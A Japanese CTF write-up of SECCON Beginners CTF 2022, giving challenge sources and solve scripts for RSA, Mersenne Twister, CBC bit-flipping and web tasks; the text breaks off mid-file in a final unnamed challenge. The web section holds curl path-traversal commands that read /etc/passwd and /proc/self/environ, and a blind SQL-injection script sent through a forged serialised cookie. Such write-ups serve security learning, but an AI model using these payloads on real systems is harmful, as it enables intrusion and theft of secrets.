SECCON Beginners CTF 2022 Writeup

Sun Jun 05 2022

6/4-6/5 で開催していた SECCON Beginners CTF 2022 に参加しました。結果は 6th/891 でした (得点のあるチームのみカウント)。 ctf4b は毎年楽しみにしている CTF の1つです。38→18→6と順位が上がってきており成長が実感できて嬉しいです。 解いた問題 (Monkey Heap と ultra_super_miracle_validator 以外) について writeup を書きます。

crypto

omni-RSA

14 solves

problem.py
from Crypto.Util.number import *
from flag import flag

p, q, r = getPrime(512), getPrime(256), getPrime(256)
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
e = 2003
d = inverse(e, phi)

flag = bytes_to_long(flag.encode())
cipher = pow(flag, e, n)

s = d % ((q - 1)*(r - 1)) & (2**470 - 1)

assert q < r
print("rq =", r % q)

print("e =", e)
print("n =", n)
print("s =", s)
print("cipher =", cipher)

普通の RSA と異なり、素因数が p,q,rp, q, r と3つあることと、そのうちの2つ q,rq, r に関する式 rq,srq, s が与えられていることが特徴です。この特徴を活かすため、 d=dmod(q1)(r1)d' = d \mod (q - 1)(r - 1) とおいてこれに注目します。 dd の定義から ed=1mod(q1)(r1)ed' = 1 \mod (q - 1)(r - 1) です。さらに ss の定義から 512470=42512-470=42bits 程度の xx を使って d=s+2470xd' = s + 2^{470}x と表せます。これらを組み合わせると、 e(s+2470x)1=k(q1)(r1)e(s + 2^{470}x) - 1 = k(q - 1)(r - 1) となります。ここで kkee の大きさと同程度の整数となります。 この式について modq\mod q をとると、 rq=rmodqrq = r \mod q なので、 e(s+2470x)1k(1)(rq1)=0e(s + 2^{470}x) - 1 - k(-1)(rq-1) = 0 となります。 kk の値さえ決まればこの式は xx に関する式となり、 xxqq に対して十分小さいので coppersmith で求めることができます。今 kk は2000程度の大きさなので、これは全探索可能です。これで kkxx (すなわち dd') が求まります。 dd' がわかっていると nn を素因数分解できることが知られています (例えば ふるつきさんの記事 参照)。今回は nn が3変数の積なのでちょっと特殊ですが (というか勢いで解いたので以下の script ではあまり理解せずやってしまいました…)、これで nn を素因数分解でき、RSA のいつもの復号が可能となります。

solve.sage
from Crpto.Util.number import long_to_bytes


rq = 7062868051777431792068714233088346458853439302461253671126410604645566438638
e = 2003
n = 140735937315721299582012271948983606040515856203095488910447576031270423278798287969947290908107499639255710908946669335985101959587493331281108201956459032271521083896344745259700651329459617119839995200673938478129274453144336015573208490094867570399501781784015670585043084941769317893797657324242253119873
s = 1227151974351032983332456714998776453509045403806082930374928568863822330849014696701894272422348965090027592677317646472514367175350102138331
cipher = 82412668756220041769979914934789463246015810009718254908303314153112258034728623481105815482207815918342082933427247924956647810307951148199551543392938344763435508464036683592604350121356524208096280681304955556292679275244357522750630140768411103240567076573094418811001539712472534616918635076601402584666
PR.<x> = PolynomialRing(Zmod(n))
for k in range(2003):
    f = e * (s + 2**470 * x) - 1 - k * (-1) * (rq - 1)
    f = f.monic()
    roots = f.small_roots(beta=0.24, epsilon=0.015)
    if len(roots) > 0:
        print(k)  # 1576
        break
x = roots[0]  # 3248825676044
d_ = int(s + 2**470 * x)

r = e * d_ - 1
k = 0
while r % 2 == 0:
    r //= 2
    k += 1
t = r
print(k, t)
assert 2 ** k * t == e * d_ - 1

m = 7
while k >= 0:
    res = pow(m, 2 ** k * t, n)
    if res == 1:
        k -= 1
        continue
    p = int(gcd(n, res + 1))
    q = int(gcd(n, res - 1))
    break

p = n // q
assert is_prime(p)

n_ = n // p
r = e * d_ - 1
k = 0
while r % 2 == 0:
    r //= 2
    k += 1
t = r
print(k, t)
assert 2 ** k * t == e * d_ - 1
m = 6
while k >= 0:
    res = pow(m, 2 ** k * t, n_)
    if res == 1:
        k -= 1
        continue
    q = gcd(n_, res + 1)
    r = gcd(n_, res - 1)
    break
if q > r:
    q, r = r, q
q = int(q)
r = int(r)

phi = (p - 1) * (q - 1) * (r - 1)
d = int(pow(e, -1, phi))
print(long_to_bytes(int(pow(cipher, d, n))))

ctf4b{GoodWork!!!YouAreTrulyOmniscientAndOmnipotent!!!}

Unpredictable Pad

35 solves

chal.py
import random
import os


FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')


def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')


if __name__ == '__main__':
    main()

python の random.Random() の乱数を予測する問題です。 getrandbits(32) を624個連続で得られるとその後の乱数が予測できるのは有名な話ですが、今回の問題ではぱっとみでは64bitを3つまでしか得ることができなさそうです。

はじめは random.Random() の引数に何も渡さなかったら time.time() とかが入るのかななどと考え、ずっと挙動を追ってましたが、そのような seed を特定する方向性はうまくいかなさそうです。

ここで問題のソースコードをもう一度見てみると、 inp > 2**64 の条件が実は雑なことに気づきます。 inp が負のときは bit_length が非常に大きなときでも弾かれないことがわかります。これを使って32bitの乱数を624個相当分得て、フラグの暗号化に使われている乱数を予測して復号しました。

solve.py
import random
from Crypto.Util.number import long_to_bytes

payload = -2**(16*624)+1

# 上の payload を3回送って得られた値をハードコード
enc_flag = 160408390154667487935295951685135834366281788558956636553830792827360254
ret0 = -169353461226451862454550482867247311453745832298072193488992476372032683267405529616712857658826149871232022177649639560493348167300248003798133393960069101848656033334315041089489540273610320250781951419421296295310706803305763552193467763497673831685296464166217912182952993108881003824545386638822886036877853314192447459485633281593120922162996370650082889528736245538106025702367298028706018500581303291092184492912177748035815932841199461843957795270880130886325403061725988188236489016059884559670466607329599332990508953092627886094059613058667760151744204433278035755399050494466381637221944827534019503182926467006914302368386660714730742692096585746608782523410356311089649324987101827009674919177960835763439338825261907643835468814940418402548295214013774677330828810095951146966735643419608752746425768841587104025408476655777986037482072738896056125749598700903579670974116795405662151349199266699927598023204057070306326773712542836077736390131944428866691928322905148134636660084531325981840651396783254841001403095723976147665751746664602732628439890252955931774414896353326579313769454833945674625056698316809609132067092222948957953197180021737521745655434028404570086154209391102996155459165864997753657661454493825124031728517893942941148924957446604703529189079509660244289843008318983049402259320722901474323969045108227678587275789397631005047258434201221288505580913646102930700490447493349182167072035273835911621464731360371545460395175605032063196008048744518129794066121356578721481991602164471241173183881439244695928483155723029148975839302117123861360245641089827787693858008484408881465787653275742063960144075534851192151745260899161458908215597348826049429140505629444575689068667977570381956851068146075282338154162785222175529593495159696587574511453683086253689224811625024752497827991210611517791639029847316993230591366379321983830423002580773857376725811511477652484534295670048470065628245575204829812271025845056313501265802551090858332958051536680495364633217364169453034297881072789401221696691376710188240126908526755550980633504983185236404707215884989713759251302719280478433527009402389363547380807602418824359129333148024227915685622797753116791572129831241710756953028466882194135603385045134925639328124230308605549228880474941494908652208229512474100406567626116817821971735915089973730668169433601262340270271894155758372382980258650111135768656138342227206970091506970645999963840145942220110978031918724153239689786634768434326171334143812878760891797399669977160993693787808307041885867124048078397767314756130642278020874526347428410545904310808335745364896816455273984548748591395049622882899097672643684754903956017579863224624561733509698079957274825362454362595607878755481785558518932923579002238072455757822414992021796274528224275060731996804383435852769228690567859793839828128318627157368157276840700230593702308945703163946725449915700666271432660634751014996121414362240518760048533468930106480049570819040031952762781188641252133586175
ret1 = -51580731718688675420437389249310120900905865508528396443063883081911546240202089824689207524249689453637693803148959866994272605836689570762335232051123834554230490203701972150940081601086851960226751096892403360549512080703048508633318381886171418059312308642451485698454348149017820527890973991410951247206681985750710112856320237636721173823242708150975523461296953256915980661303813942135321478844841381392172860483601342634273272193727322517987428595734228639491952617729400752812338305362781760700986492467302797695755891250578619217470478051378231521033281266819484592212240867291651868700786320603656622428103395224868616642101640389910213124582657676757942261132070240006724002027384799089456220435096555823633347295661192386737475879766496582324423995714634004017178337560947025986297380766499417468248727348626818258227609549079046578067109569854302834383965095131029140857111545097250213476248190596857820183815527533654371724441452378692748537218501759996371430293128000186544722933935664685214972410794341204799002695971038119110281898134893871502905160358498981592559403873818635884284157674277122138315091091449947848077929964896432151408747590933281827820699464860941890478669800373395486780046063600439415955332048227243889186613022285203183474457150043573184157045283623992463193417473248491034755072187007272019375351426321494474802223190703258757658929400467051798276012501123386367746549904035127679645887776584091318561657911998066543212173556037638748810302453275843503806212670252152101686369086597699195551588642582549408975260865552360066108226203637838785429972911309285863401356191920065599138955269920969586952185256091468633109571645795237468619938776267843091790991896783465224746115260681089268076777948809949692595202466441897355355377351901503699228929113243486670226454857566200841577430865046428992631540058000778178879913091792174994533135390606763707313582286913485540646686691245095727665703469213379487010802922261296189522812763645510510237333212718570879080130170003422836994561913636229005076420309252070025981827977843162864678552565909810493650232609917300135721158876009741779770286522854484717748448307711431989467562525081528829367171814771047163332142183857326214041545279268552058005506521306650683717486772248524767561871270562403513655599465119737729132744047896140674021649124072318170859820809678171230320068352145674380714404207959918120892102584862278187374327557369586275016189782186695492419002017938787586871955884491910844465079565201467212994186344380132747410551067489437973984889578475885218334724720056509498558712551955375494420298927179734594425228164596725820028673601286480957658409234147135951934576744051948891339150650398314097041570187660510241297335222066129847076133369762701314510223092913222806698507412758225539286627781482789427244626649010118518373147343705831559927314968755850205806153090340695380765756968693557260267411202215338713988385595658635821065323400055688140696841073054338664203217729588043606228376032969466459
ret2 = -108475337377652764860559020314958568585993853978274916932698686125149105719231472144111927154304714459090886922951953151399897983234248457812722087567487137781060083611287580672002621683824724832567651463542364280539829018818449233755751262186286203755084135144663042566967551810800368064439197073273767795320067894207466601099864793384548733004071677851750762693399293686826462614721185752495826664605939103648711640208093054399389120285841311383643882587743382995127681245785303208431778098484406158016438764171413076520113622421366506206486672860374467083915942200966741732513953091482247830398804234272405375865882697887524180737502484465784037569901040671235651570265128224109470888438668427253465754584541034100717324441634214695565617339943054347366758524082484210535227455466259270783728889243781787817784349624425869417725962025535486487427813345464887156054169888048931394789281079389821150534206323531516104024312186676411913168781578828751220946266855887220990471850993639323415506178990808569514662395056882296360383954318842844182928589850113079105215168674084888535401746373477911525454299595646064585203222026179995043472961855529552566054411142336477226896828917026513422953585755511573948925032600131616061449107211347967778755594994130734439332518470094629187137298199158911789139924456241188909282748628007853405849374184802862738758203254340388353318539018446570299970484777518955439221723578402960915972896749021620900180888677881099775187414441576032219178072600283780804830825809536113331272910784929123522450298798204104165870957223443663597218080523075304401924897959667077600875146045317720051938497350014873112177431773283076035456292182710349437902166058857774005298782914670613404253777876188612945804472412568215245020233391314125424854055519386292526993039308039896608505475440712057353317583620883237199096309107750719027862343316164091544142824027672566783063571564176315409724677176164929681154652053428071765979163358147650087814912330057471393940222260594690828625775007718311112985193060655885434702706297470370722761765604767012596841895846024387762360729830403482871420097042668009373829647519481528354423055739446116715440022979467671760354109976476249417124150444281499488014030345109577445802126177849503991753962995029901097944375862128070672483170304594662385017952521012152472148762674040583264416935044555625685455066607471297166418183012635868674290225313412984739442230657863350977208180851750234928875369451121118336771514019149579695341733721007285004789918851050865724647053516518653314110233857475215246355048206235819633335369164369013747647432683014441146667282328344565334691322247346614713346369158853818704626193068141647264829531649586826166628911634790889727424766390635372791818900748752735365988441244650884558091517894966368931045023969033832454195421742975130710994798661170137124637373417539150444781638040270784341827959352777519438224646842625846691524456229257228298416449854437590761211567953760306805078815379830034840307117406011821759
rand0 = ret0 ^ payload
rand1 = ret1 ^ payload
rand2 = ret2 ^ payload

rands32 = []
for rand in [rand0, rand1, rand2]:
    for i in range(312):
        rands32.append(int(rand % 2**32))
        rand = rand // 2**32


# https://inaz2.hatenablog.com/entry/2016/03/07/194147
def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xefc60000)
    x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
    x = unBitshiftRightXor(x, 11)
    return x

def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y

def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y

for i in range(56, 1000):
    mt_state = tuple([int(untemper(x)) for x in rands32[:624]] + [int(624)])
    random.setstate((int(3), mt_state, None))
    assert random.getrandbits(9984) == rand2
    dec = long_to_bytes(random.getrandbits(i) ^ enc_flag)
    if b"ctf4b" in dec:
        print(dec)

ctf4b{M4y_MT19937_b3_w17h_y0u}

Command

88 solves

chal.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import isPrime
from secret import FLAG, key
import os


def main():
    while True:
        print('----- Menu -----')
        print('1. Encrypt command')
        print('2. Execute encrypted command')
        print('3. Exit')
        select = int(input('> '))

        if select == 1:
            encrypt()
        elif select == 2:
            execute()
        elif select == 3:
            break
        else:
            pass

        print()


def encrypt():
    print('Available commands: fizzbuzz, primes, getflag')
    cmd = input('> ').encode()

    if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
        print('unknown command')
        return

    if b'getflag' in cmd:
        print('this command is for admin')
        return

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(cmd, 16))
    print(f'Encrypted command: {(iv+enc).hex()}')


def execute():
    inp = bytes.fromhex(input('Encrypted command> '))
    iv, enc = inp[:16], inp[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        cmd = unpad(cipher.decrypt(enc), 16)
        if cmd == b'fizzbuzz':
            fizzbuzz()
        elif cmd == b'primes':
            primes()
        elif cmd == b'getflag':
            getflag()
    except ValueError:
        pass


def fizzbuzz():
    for i in range(1, 101):
        if i % 15 == 0:
            print('FizzBuzz')
        elif i % 3 == 0:
            print('Fizz')
        elif i % 5 == 0:
            print('Buzz')
        else:
            print(i)


def primes():
    for i in range(1, 101):
        if isPrime(i):
            print(i)


def getflag():
    print(FLAG)


if __name__ == '__main__':
    main()

AES の CBC モードで復号した結果の文字列に応じて各種コマンドが実行されます。しかし getflag に相当する暗号を直接得ることはできません。

CBC モードの復号の流れを画像で見るとわかるのですが (例えば wiki 参照)、 iv に対してある値の xor をとると、復号結果も同じ値で xor したものに変化します。これを利用して fizzbuzz などの iv と暗号に対して iv を適切にコントロールすることで復号結果を getflag にすることができます。 padding に注意。

solve.py
from binascii import unhexlify
from pwn import xor


# fizzbuzz の暗号を事前に得ておく
fizzbuzz_enc = unhexlify("c64fd5f228a8ce1cec668efd0e7fc6d024939fcd76e617094c5024eb51578925")
iv = fizzbuzz_enc[:16]
enc = fizzbuzz_enc[16:]
enc0 = b"fizzbuzz" + b"\x08" * 8
enc1 = b"getflag" + b"\x09" * 9
iv1 = xor(enc0, enc1, iv)
print((iv1 + enc).hex())  # これを送ると getflag が実行される

ctf4b{b1tfl1pfl4ppers}

PrimeParty

58 solves

server.py
from Crypto.Util.number import *
from secret import flag
from functools import reduce
from operator import mul


bits = 256
flag = bytes_to_long(flag.encode())
assert flag.bit_length() == 455

GUESTS = []


def invite(p):
    global GUESTS
    if isPrime(p):
        print("[*] We have been waiting for you!!! This way, please.")
        GUESTS.append(p)
    else:
        print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.")
    print("-*-*-*-*-*-*-*-*-*-*-*-*-")


invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))

for i in range(3):
    print("[*] Do you want to invite more guests?")
    num = int(input(" > "))
    invite(num)


n = reduce(mul, GUESTS)
e = 65537
cipher = pow(flag, e, n)

print("n =", n)
print("e =", e)
print("cipher =", cipher)

RSA の公開鍵 nn をなす素因数が7個あり、4個はサーバーが生成したもの、3個はこちら側で指定したものになります。

nn の約数のうち、サーバー側の素因数の積を nn'、こちら側で指定した素因数の積を nn'' とおきます。RSA の暗号化は modn\mod n で行われますが、この暗号を nn'' で割った余りとし、復号の計算も nn'' 上で行うことを考えると、復号結果が nn'' よりも小さければ正しく復号されることがわかります。なので十分に nn'' が大きくなるように素数を指定し、 nn'' のもとで RSA の復号を行うだけでフラグが求まります。

solve.py
from Crypto.Util.number import getPrime, long_to_bytes

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)

# p, q, r を送って得られた c, n をハードコード
c = 3231747054065633212287491089016023326207755258137659619616207696197572498242090443880322852339181652574539724831984143911887071716899171052605591747596868072925141349328705332134716635367026197295238960036176135432899008066332112479421646292686771479234462079174562704075006784682386997809270685926872261969941420920969380741361619303588111587131398198138508999746744181992807884142057550110126162117140543978024996657988040401453648359928688090005773527776438713375695735361163975183275546467076154588359441723190416354532400657671504920473271199513462397364236958404749399848783365124952902286561434940105491199482539837904014316786427979410294582445530322069870865641274726479252349114771001730642400677171676852499042010491593624999794886450802738894734163779161179
n = 50960510109266153211220694076283126261496987573875292473286642064956124047055612445286465281627833726437448685247114511114984163230671979173589099425396539824559835742008947178090847715429184879049848268517585685282560668287375963502687615809469167443951463759746805647142747246199048558030657918954767331010554737640633395455748241891010554134272076233363095117578830715576066367768041823369983654496376086507203475733297447627270269562348173460762697865084096729798213983961685529549371835328956273802600595109578789752640730821127493070321291603879640723304029910009579952649666458240575241704298896113818436140228561339581683144526679375688596410984423902241649796308631822675710206724372207035083772325868773824123241115754868636927363488846030924630376913203540229
e = 0x10001
d = int(pow(e, -1, (p - 1) * (q - 1) * (r - 1)))
print(long_to_bytes(int(pow(c, d, p * q * r))))

ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}

CoughingFox

443 solves

problem.py
from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

c = (f + i)**2 + i という暗号化について、 (f+i)2i(f + i)^2 \gg i です。iilen(cipher) 未満なので、 cipher の各値に対して適当な値を引いてある値の2乗となればそれが ii となります。これを使ってフラグが復号できます。

solve.sage
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

ans = []
for i in range(len(cipher)):
    c = cipher[i]
    cands = []
    for j in range(len(cipher)):
        if (c - j).is_square():
            cands.append((j, (c - j).sqrt() - j))
    assert len(cands) == 1
    ans.append(cands[0])
ans.sort()

"".join([chr(a[1]) for a in ans])

ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

web

Ironhand

42 solves

main.go
package main

import (
	"html/template"
	"io"
	"io/ioutil"
	"mime"
	"net/http"
	"net/url"
	"os"
	"path/filepath"
	"time"

	"github.com/golang-jwt/jwt/v4"
	"github.com/labstack/echo/v4"
	"github.com/labstack/echo/v4/middleware"
)

// Setup Template
// https://echo.labstack.com/guide/templates/
type Template struct {
	templates *template.Template
}

func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {
	return t.templates.ExecuteTemplate(w, name, data)
}

type UserClaims struct {
	*jwt.RegisteredClaims
	Username string
	IsAdmin  bool
}

func main() {
	e := echo.New()
	e.Use(middleware.Logger())
	e.Use(middleware.Recover())

	// Setup Template
	t := &Template{
		templates: template.Must(template.ParseGlob("views/*.html")),
	}
	e.Renderer = t

	// Top page
	e.GET("/", func(c echo.Context) error {
		cookie, err := c.Cookie("JWT_KEY")
		if err != nil {
			return c.Redirect(http.StatusFound, "/login")
		}
		token, err := jwt.ParseWithClaims(cookie.Value, &UserClaims{}, func(token *jwt.Token) (interface{}, error) {
			secretKey := os.Getenv("JWT_SECRET_KEY")
			return []byte(secretKey), nil
		})
		if err != nil {
			return c.String(http.StatusBadRequest, "invalid session")
		}
		claims := token.Claims.(*UserClaims)
		// If you are admin, you can get FLAG
		if claims.IsAdmin {
			res, _ := http.Get("http://secret")
			flag, _ := ioutil.ReadAll(res.Body)
			if err := res.Body.Close(); err != nil {
				return c.String(http.StatusInternalServerError, "Internal Server Error")
			}
			return c.Render(http.StatusOK, "admin", map[string]interface{}{
				"username": claims.Username,
				"flag":     string(flag),
			})
		}
		return c.Render(http.StatusOK, "user", claims.Username)
	})

	// Login page
	e.GET("/login", func(c echo.Context) error {
		return c.Render(http.StatusOK, "login", "")
	})

	e.POST("/login", func(c echo.Context) (err error) {
		// Get request parameter
		username := c.FormValue("username")
		if username == "" {
			return c.Render(http.StatusBadRequest, "login", "Username is required.")
		}

		// Generate JWT token
		claims := &UserClaims{
			&jwt.RegisteredClaims{
				ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour * 24 * 7)),
			},
			username,
			false,
		}
		token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
		secretKey := os.Getenv("JWT_SECRET_KEY")
		tokenString, _ := token.SignedString([]byte(secretKey))

		// Set JWT token in cookie
		cookie := &http.Cookie{
			Name:    "JWT_KEY",
			Value:   tokenString,
			Expires: time.Now().Add(time.Hour * 24 * 7),
		}
		c.SetCookie(cookie)

		return c.Redirect(http.StatusFound, "/")
	})

	e.GET("/logout", func(c echo.Context) error {
		cookie := &http.Cookie{
			Name:    "JWT_KEY",
			Value:   "",
			Expires: time.Unix(0, 0),
		}
		c.SetCookie(cookie)

		return c.Redirect(http.StatusFound, "/")
	})

	e.GET("/static/:file", func(c echo.Context) error {
		path, _ := url.QueryUnescape(c.Param("file"))
		f, err := ioutil.ReadFile("static/" + path)
		if err != nil {
			return c.String(http.StatusNotFound, "No such file")
		}
		return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
	})

	e.Logger.Fatal(e.Start(":8080"))
}

JWT で署名された cookie に対し、 IsAdmin=true とできればフラグが手に入ります。

JWT といえば algnone 等想定と違うものにすることで突破する方法がありますが、今回使われているライブラリではぱっとは出来なさそうです。

そこで、本旨とは一見関係なさそうな /static/:file が使えないか検討します。 pathのパースが雑なので、 path traversal が可能そうです。 例えば curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../main.go とすると、 main.go を表示することが出来ました。 しかしこのような流れで curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../../etc/passwd とすると何も得られません。これは nginx 側で / よりも ../ の数が多いときに弾かれるようで、 Bad Request となってしまいます。しかしこれは / を雑に足すことで回避できます (curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static//../../etc/passwd)。 この仕様を使って環境変数を見るために、 /proc/self/environ を見に行きます。 curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static//../../proc/self/environ --output environ。これで JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13d がわかります。

この key を使って https://jwt.io/"IsAdmin":true というペイロードで署名をすることで admin になり、フラグが得られました。

ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

serial

83 solves

database.php
<?php

require_once '/var/www/html/user.php';
require_once '/var/www/html/todo.php';

class Database
{

    /**
     * $_con is a instance of mysqli
     */
    protected $_con;

    public function __construct()
    {
        $this->connect();
    }

    public function __destruct()
    {
        $this->close();
    }

    /**
     * connect connects to the database
     */
    public function connect()
    {
        $this->_con = new mysqli('mysql', 'ctf4b', 'ctf4b', 'serial');
        if ($this->_con->connect_error) {
            throw new Exception('Connect Error ' . $this->_con->connect_errno . ': ' . $this->_con->connect_error, $this->_con->connect_errno);
        } else {
            $this->_con->set_charset("utf8mb4");
        }

        if (!$this->_con->ping()) {
            throw new Exception('failed ping()');
        }

        return $this->_con;
    }

    /**
     * close closes connection
     */
    public function close()
    {
        if (!isset($this->_con)) {
            return;
        }
        $this->_con->close();
    }

    /**
     * findUserByName finds a user from database by given userId.
     * 
     * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
     */
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }

    /**
     * findUserByName finds a user from database by given userId.
     */
    public function findUserByNameNew($name = null)
    {
        if (!isset($name)) {
            throw new Exception('invalid user name: ' . $name);
        }

        $stmt = $this->_con->stmt_init();
        if (!$stmt->prepare("SELECT id, password_hash FROM users WHERE name = ?")) {
            throw new Exception('failed prepare for findUserByName');
        }
        if (!$stmt->bind_param("s", $name)) {
            throw new Exception('failed bind_param for findUserByName');
        }
        if (!$stmt->execute()) {
            throw new Exception('failed execute for findUserByName');
        }

        $id = null;
        $password_hash = null;

        if (!$stmt->bind_result($id, $password_hash)) {
            throw new Exception('failed bind_result for findUserByName');
        }
        $stmt->fetch();

        return new User($id, $name, $password_hash);
    }

    /**
     * insertUser inserts a given user into database.
     */
    public function insertUser($user = null)
    {
        if (!isset($user->name) || !isset($user->password_hash)) {
            throw new Exception('invalid name: ' . $user->name . ', or password: ' . $user->password_hash);
        }

        $stmt = $this->_con->stmt_init();
        if (!$stmt->prepare("INSERT INTO users(name, password_hash) VALUE (?, ?)")) {
            throw new Exception('failed prepare for findUserByName');
        }
        if (!$stmt->bind_param('ss', $user->name, $user->password_hash)) {
            throw new Exception('failed bind_param for findUserByName: ' . $user->name);
        }
        if (!$stmt->execute()) {
            throw new Exception('failed execute for findUserByName');
        }
    }

    /**
     * findTodos find all todos which is not done.
     */

    public function findTodos()
    {
        $sql = "SELECT * FROM todos WHERE done = false ORDER BY id";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        $todos = array();
        while ($row = $result->fetch_assoc()) {
            $t = new Todo($row["id"], $row["body"], $row["done"]);
            array_push($todos, $t);
        }
        return $todos;
    }

    /**
     * insertTodo insert a todo with given body.
     */
    public function insertTodo($todo = null) 
    {
        if (!isset($todo->body)) {
            throw new Exception('invalid message: ' . $todo->body);
        }

        $stmt = $this->_con->stmt_init();
        if (!$stmt->prepare("INSERT INTO todos(body) VALUE (?)")) {
            throw new Exception('failed prepare for insertTodo');
        }
        if (!$stmt->bind_param('s', $todo->body)) {
            throw new Exception('failed bind_param for insertTodo: ' . $todo->body);
        }
        if (!$stmt->execute()) {
            throw new Exception('failed execute for insertTodo');
        }
    }

    /**
     * doneTodo update a done column true with a given id.
     */
    public function doneTodo($todo = null)
    {
        if (!isset($todo->id)) {
            throw new Exception('invalid id: ' . $todo);
        }

        $stmt = $this->_con->stmt_init();
        if (!$stmt->prepare("UPDATE todos SET done = 1 WHERE id = ?")) {
            // TODO:
            throw new Exception('failed prepare for doneTodo' . "UPDATE todos SET done = true WHERE id = ?");
        }
        if (!$stmt->bind_param('i', $todo->id)) {
            throw new Exception('failed bind_param for doneTodo: ' . $todo->id);
        }
        if (!$stmt->execute()) {
            throw new Exception('failed execute for doneTodo');
        }
    }
}

database.php にあからさまな SQLi 脆弱性があります。しかし user.php を見ればわかるとおり、 $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name)); となっており、 SQLi に使えそうな文字はサニタイズされているように見えます。 しかしこの web app では cookie の __CRED をデシリアライズすることで User の instance を作り出しています。このときに上記サニタイズは行われません。なので cookie を使って SQLi ができそうです。 SQLi 自体はいろいろな方針がありそうですが、自分は time based blind SQLi でやりました。もっと楽にやる方法ありそうですが、自分はいつも time based でやりがちです…

solve.py
from base64 import b64encode
import time
import requests

name_template = "hoge' || (SELECT IF(SUBSTR(body,{idx},1)='{c}',BENCHMARK(1000000,ENCODE('MSG','by 5 seconds')),'') FROM flags) || '"
payload_template = """O:4:"User":3:{{s:2:"id";s:2:"20";s:4:"name";s:{length}:"{name}";s:13:"password_hash";s:60:"$2y$10$V0ix4ngxG5N6//1FW0n98OQtLiMEKwBEN.cZ7WgcY1I5IaC6dXFWW";}}"""
flag = ""
for idx in range(len(flag) + 1, 100):
    for i in range(32, 127)[::-1]:
        c = chr(i)
        print(c)
        name = name_template.format(idx=idx, c=c)
        payload = payload_template.format(length=len(name), name=name)
        with requests.session() as session:
            r = session.post("https://serial.quals.beginners.seccon.jp/signup.php", data={"name": "hoge", "pass": "hoge"})
            session.cookies.set("__CRED", b64encode(payload.encode()).decode(), domain="serial.quals.beginners.seccon.jp")
            now = time.time()
            r = session.get("https://serial.quals.beginners.seccon.jp/")
            elapsed = time.time() - now
            if elapsed > 1.0:
                flag += c
                print(flag)
                break

ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

156 solves

main.go
package main

import (
	"bytes"
	"net/http"

	"github.com/gorilla/mux"
)

const (
	PORT = "8080"
	DIR  = "static"
)

type MyResponseWriter struct {
	http.ResponseWriter
	lengthLimit int
}

func (w *MyResponseWriter) Header() http.Header {
	return w.ResponseWriter.Header().Clone()
}

func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}

	w.ResponseWriter.Write(data[:length])
	return length, nil
}

func middleware() func(http.Handler) http.Handler {
	return func(h http.Handler) http.Handler {
		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
			h.ServeHTTP(&MyResponseWriter{
				ResponseWriter: rw,
				lengthLimit:    10240, // SUPER SECURE THRESHOLD
			}, r)
		})
	}
}

func main() {
	r := mux.NewRouter()
